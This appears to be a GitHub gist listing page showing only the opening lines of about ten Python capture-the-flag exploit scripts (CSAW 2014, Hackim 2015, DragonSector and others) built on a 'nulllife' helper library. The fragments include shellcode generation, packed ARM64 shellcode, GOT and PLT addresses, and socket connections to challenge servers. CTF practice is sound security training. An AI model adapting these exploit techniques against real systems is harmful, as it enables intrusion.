This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from nulllife import * | |
import struct | |
shellcode = NullShell(name = 'exec', arch = 'x86', os = 'linux').get() | |
stack_chk_got = 0x0804A018 | |
message_data = 0x0804A070 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from struct import * | |
from nulllife import * | |
s = NullSocket("210.71.253.109", 9123) | |
#shell address is 0x411468 | |
shellcode = struct.pack("<I", 0x90000000) #adrp x0, 0x411000 | |
shellcode += struct.pack("<I", 0x91120000) #add x0, x0, #0x480 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from struct import * | |
from nulllife import * | |
new_ebp = 0x0804a100 | |
plt_read = 0x080483E0 | |
plt_open = 0x08048420 | |
plt_write = 0x08048450 | |
flag_str = 0x080487D0 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import struct, sys, time | |
from nulllife import * | |
# | |
#NoConName CTF | |
#explitcit exploit 500pts | |
# | |
s = NullSocket("88.87.208.163", 7070) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import struct, sys, time | |
from nulllife import * | |
#CSAW 2014 CTF | |
#greenhorn exploit | |
offset_data = 0x3F8 | |
s = NullSocket("54.164.253.42", 9998) | |
s.readuntil("Password: ") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import struct, sys, time | |
from nulllife import * | |
#CSAW 2014 CTF | |
#xorcise exploit | |
def xor(data, key): | |
o = '' | |
for i in range(len(data)): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import struct, sys, time | |
from nulllife import * | |
#CSAW 2014 CTF | |
#s3 exploit | |
s = NullSocket("54.165.225.121", 5333) | |
s.readuntil("> ") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from nulllife import * | |
import sys, time | |
# www.null-life.com | |
# write-up / exploit by @_g05u_ | |
# Hackim/nullcon CTF 2015 - mixme exploiting 400 points | |
# Flag: aw3s0m3++_hipp1e_pwn_r0ckst4r | |
c = 0x61 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import struct, sys, time | |
from nulllife import * | |
import ast | |
# @_g05u_ | |
#boston ctf party 2015 | |
# exploit alewife chall | |
# www.null-life.com |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import struct, sys, time | |
from nulllife import * | |
# DragonSector CTF | |
# exploit quine | |
# www.null-life.com / @_g05u_ | |
def n2h(val, nbits = 32): | |
return ((val + (1 << nbits)) % (1 << nbits)) |
OlderNewer